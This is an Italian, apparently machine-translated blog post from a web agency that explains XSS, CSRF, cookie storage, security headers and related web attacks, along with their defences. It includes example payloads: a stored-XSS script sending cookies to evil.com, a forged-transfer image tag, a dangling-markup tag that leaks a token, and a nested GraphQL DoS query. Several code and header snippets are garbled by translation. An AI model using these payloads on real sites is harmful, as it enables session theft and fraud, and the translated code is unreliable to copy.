MAISON CODE .
/ Security · OWASP · XSS · CSRF · Engineering

CSRF e XSS: i gemelli della distruzione del web

Le due vulnerabilità più comuni nelle app Web. Una guida tecnica ai cookie SameSite, alle intestazioni HttpOnly e alla sanificazione degli input.

AB
Alex B.
CSRF e XSS: i gemelli della distruzione del web

“Vendiamo solo magliette. Perché qualcuno dovrebbe hackerarci?” Questa è la mentalità ingenua dell’ingegnere junior. Gli aggressori non ti hackerano perché sei “importante”. Ti hackerano perché sei vulnerabile. Eseguono bot automatizzati che scansionano milioni di domini alla ricerca di exploit comuni. Se il tuo negozio di magliette presenta una vulnerabilità XSS, installerà uno skimmer per carte di credito (Magecart) e ruberà 10.000 numeri di carte di credito. Andrai in bancarotta.

Presso Maison Code Paris, progettiamo sistemi transazionali. La sicurezza non è una “caratteristica”. È il seminterrato. Questa guida copre le due vulnerabilità più letali: XSS e CSRF.

Perché Maison Code ne parla

In Maison Code Paris, agiamo come la coscienza architettonica dei nostri clienti. Spesso ereditiamo stack “moderni” costruiti senza una comprensione fondamentale della scala.

Discutiamo di questo argomento perché rappresenta un punto di svolta critico nella maturità ingegneristica. Implementarlo correttamente differenzia un MVP fragile da una piattaforma resiliente di livello aziendale.

1. XSS (Cross-Site Scripting): furto di dati

XSS si verifica quando un utente malintenzionato può eseguire JavaScript nel browser dell’utente. Se possono eseguire JS, possono leggere “document.cookie”. Se riescono a leggere i cookie, possiedono l’account.

Il vettore d’attacco

Tipo: XSS memorizzato.

  1. L’attaccante pubblica una recensione del prodotto: "Grande maglietta! <script>fetch('http://evil.com?c='+document.cookie)</script>"
  2. Il Database memorizza questa stringa.
  3. Il frontend lo renderizza.
  4. Ogni cliente che visualizza la pagina del prodotto esegue ciecamente lo script.
  5. 1.000 ID di sessione vengono inviati a “evil.com”.

La difesa: codifica dell’output sensibile al contesto

Regola: non fidarsi mai del database. I framework moderni (React/Vue) ti proteggono per impostazione predefinita. “Sfuggono” alle variabili. < diventa &lt;. Il browser esegue il rendering del testo, non del codice.

La zona di pericolo: dangerouslySetInnerHTML. React ti consente di bypassare la protezione. Casi d’uso: contenuto CMS, editor Rich Text. Soluzione: DOMPurify. È necessario ripulire l’HTML prima di renderizzarlo.

“tsx importa DOMPurify da ‘dompurify’;

funzione Descrizione Prodotto({ html }) { const clean = DOMPurify.sanitize(html); return <div pericolosamenteSetInnerHTML={{ __html: clean }} />; }

DOMPurify rimuove i collegamenti `<script>`, `<iframe>`, `onload`, `javascript:`. Lascia `<b>` e `<p>`.

### La difesa: CSP (Politica di sicurezza dei contenuti)
(Vedi la [Guida CSP](/it/blog/tech-csp-guide-it)).
Anche se l'aggressore inserisce uno script, CSP impedisce al browser di eseguirlo a meno che non abbia un **Nonce** valido.
Difesa in profondità.

## 2. CSRF (Cross-Site Request Forgery): azione di furto

La CSRF si verifica quando un utente malintenzionato induce con l'inganno l'utente a eseguire un'azione non prevista.

### Il vettore d'attacco
1. L'utente accede a "bank.com". Viene impostato il cookie di sessione.
2. L'utente visita "evil.com".
3. `evil.com` ha un'immagine invisibile: `<img src="https://bank.com/transfer?to=hacker&amount=1000" />`
4. Il browser vede l'URL che implica "bank.com". Allega automaticamente il cookie di sessione *valido*.
5. `bank.com` riceve una richiesta valida (con cookie) e trasferisce il denaro.

### La difesa: cookie SameSite
Ciò aggiorna la politica sui cookie del browser.
`Set-Cookie: session_id=xyz; StessoSito=Lassista; Sicuro; Solo Http;`

* **Rigido**: il cookie viene inviato *solo* per richieste della prima parte. (Miglior sicurezza).
* **Lax**: il cookie non viene inviato nelle sottorichieste (immagini/iframe), ma viene inviato nella navigazione di livello superiore. (Buon equilibrio).
* **Nessuno**: il cookie viene inviato ovunque. (Insicuro).

Impostando `SameSite=Lax`, il tag `<img>` di `evil.com` **non** conterrà il cookie. La richiesta fallisce (401 Non autorizzato).

### La difesa: token anti-CSRF
Per le mutazioni (POST/PUT), è richiesto un controllo secondario.
1. Il server invia un `csrf_token` in un meta tag.
2. JavaScript lo legge e lo invia in un'intestazione "X-CSRF-Token".
3. Convalida del server: l'intestazione corrisponde alla sessione?

L'aggressore non può leggere il meta tag (policy multiorigine).
L'attaccante non può falsificare l'intestazione.

## 3. Archiviazione: cookie LocalStorage e HttpOnly

Dove conservi il JWT (Json Web Token)?

**Archiviazione locale**:
* Facile da usare (`localStorage.getItem('token')`).
* **Vulnerabile a XSS**. Se l'utente malintenzionato esegue JS, può leggere tutto LocalStorage.

**Cookie HttpOnly**:
* Più difficile da usare (il server deve impostarlo).
* **Immune al furto XSS**. JavaScript *non può* leggere i cookie HttpOnly. `document.cookie` restituisce una stringa vuota.

**Raccomandazione**: utilizzare sempre i cookie HttpOnly per gli ID di sessione sensibili.
Anche se si dispone di una vulnerabilità XSS, l'aggressore non può esfiltrare la chiave. Possono solo effettuare richieste (che la protezione CSRF blocca).

## 4. Il punto di vista dello scettico

"React è sicuro per impostazione predefinita."
**Falso**.
React protegge il livello di visualizzazione.
Non protegge:
1. `javascript:` URL (`<a href={userLink}>`). Se "userLink" è "javascript:alert(1)", facendo clic su di esso viene eseguito il codice.
2. Iniezione di rendering lato server (SSR).
3. Attacchi alla catena di fornitura (pacchetti npm dannosi).

"Non ho bisogno della protezione CSRF perché utilizzo i JWT nelle intestazioni."
**VERO**. Se non usi i cookie, sei immune al CSRF.
Ma ora stai archiviando JWT in LocalStorage, quindi sei vulnerabile a XSS.
**Scegli il tuo veleno.** (Scegliamo Cookie + Protezione CSRF).

## 5. Intestazioni di sicurezza (casco)

Non inviare risposte HTTP semplici.
Utilizza la configurazione "helmet" (Node.js) o "headers" (Next.js) per impostare:
* `X-Content-Type-Options: nosniff` (Previene lo sniffing MIME).
* `Opzioni X-Frame: DENY` (Previene il clickjacking).
* "Referrer-Policy: strict-origin-when-cross-origin".
* `Strict-Transport-Security` (HSTS): applica HTTPS.

## 7. GraphQL Injection (la nuova SQL Injection)

Gli sviluppatori pensano che GraphQL sia sicuro perché è digitato.
Sbagliato.
Se utilizzi GraphQL senza **Limitazione della profondità delle query**, un utente malintenzionato può eseguire un DDOS con una sola richiesta.
`query { utente { amici { utente { amici { utente { amici ... } } } } } }`
Questa query nidificata fa esplodere il tuo database.
**Difesa**: utilizza `graphql-deep-limit`. Limita la profondità a 5.
Inoltre, fai attenzione agli **Attacchi in batch**.
Se consenti le query in batch, un utente malintenzionato può forzare 10.000 password in una richiesta HTTP.
**Difesa**: disabilita il batching sugli endpoint pubblici.

## 8. JWT: La menzogna degli “apolidi”.

Tutti usano i JWT perché "le sessioni non si adattano".
Questa è una bugia. Redis scala fino a milioni di operazioni/sec.
Il problema con JWT è la **Revoca**.
Se un utente malintenzionato ruba un JWT, ne diventa l'amministratore per 1 ora. Non puoi disconnetterli.
Devi ruotare la chiave di firma, che disconnette *tutti*.
**Approccio ibrido**: archivia il JWT in una "lista consentita" Redis.
Controlla Redis su ogni richiesta.
Ora hai un "JWT con stato". Vanifica lo scopo, ma è sicuro.
Oppure utilizza semplicemente i cookie di sessione. Hanno lavorato per Google per 20 anni.

## 9. Rischi di acquisizione di sottodomini

Il tuo sito ha "blog.maisoncode.paris" che punta a un host WordPress che hai cancellato 3 anni fa?
Se il record CNAME esiste ancora, un utente malintenzionato può registrare un blog su quell'host e rivendicare il tuo sottodominio.
Dato che sono su `*.maisoncode.paris`, possono **leggere i tuoi cookie** (se `domain=.maisoncode.paris`).
**Difesa**: controlla i tuoi record DNS. Elimina qualsiasi CNAME che punta a un servizio per cui non paghi più.

## 10. Iniezione di markup penzolante

Se un utente malintenzionato può inserire un tag immagine ma non chiuderlo:
`<img src='https://evil.com/log?`
Mangiano il resto del tuo HTML fino alla citazione successiva.
`<img src='https://evil.com/log? <form><input value="SECRET_TOKEN"> ...`
Il browser invia il tuo token segreto a "evil.com" come parte della query dell'URL.
**Difesa**: le restrizioni CSP `img-src` impediscono al browser di estrarre dati verso domini non autorizzati. Ma la "Content-Security-Policy" funziona meglio se rigorosa.

## 12. Difese dal clickjacking in profondità

"X-Frame-Options: DENY" è il vecchio metodo.
"Content-Security-Policy: frame-antenati 'none'" è la nuova modalità.
Perché utilizzare CSP? Perché supporta l'autorizzazione di partner *specifici*.
`frame-antenati https://partner.com`.
Se non lo imposti, posso incorporare il tuo checkout in un iframe pixel-perfect su "free-iphone.com".
L'utente pensa che stia effettuando il check-out.
Acquisisco i clic del mouse (utilizzando sovrapposizioni trasparenti) per reindirizzare il pulsante "Acquista" al *mio* prodotto.
È insidioso. Bloccalo a livello globale.

## 12. SameSite: Lassista vs Severo (Approfondimento)

"Lax" è l'impostazione predefinita in Chrome.
Consente i cookie nella navigazione di primo livello (facendo clic su un collegamento da Google al tuo sito).
"Ristretto" blocca i cookie nella navigazione di primo livello.
Se imposti "SameSite=Strict" e un utente fa clic su un collegamento in un'e-mail "Visualizza ordine", arriverà **Disconnesso**.
Questa è una cattiva UX.
**Strategia**:
*Cookie di sessione: "Consentito (Lax)".
* Token di azione sensibile (Elimina account): "Obbligatorio (rigoroso)".
Puoi avere *due* gettoni. Uno per leggere, uno per scrivere.

## 13. Perché Maison Code?

Noi di **Maison Code** controlliamo la OWASP Top 10 per impostazione predefinita.
Non presumiamo che React sia sicuro.
Controlliamo il tuo `dangerouslySetInnerHTML`.
Configuriamo i tuoi cookie `SameSite`.
Configuriamo il tuo CSP.
Crediamo che un'esperienza di lusso includa il lusso della sicurezza.
I tuoi clienti non dovrebbero preoccuparsi del furto della carta di credito.

## 14. Conclusione

La sicurezza è per lo più invisibile.
Le funzionalità ti fanno promuovere. La sicurezza ti impedisce di essere licenziato.
È un lavoro ingrato, fino al giorno in cui salva l'azienda.
Sii orgoglioso dello scudo invisibile che costruisci.


<hr style="margin: 1rem 0" />

### La tua app perde dati?
Effettuiamo Penetration Test e Code Audit per applicazioni ad alto rischio.


**[Proteggi il mio stack](/contatto)**.
**[Assumi i nostri architetti](/contact)**.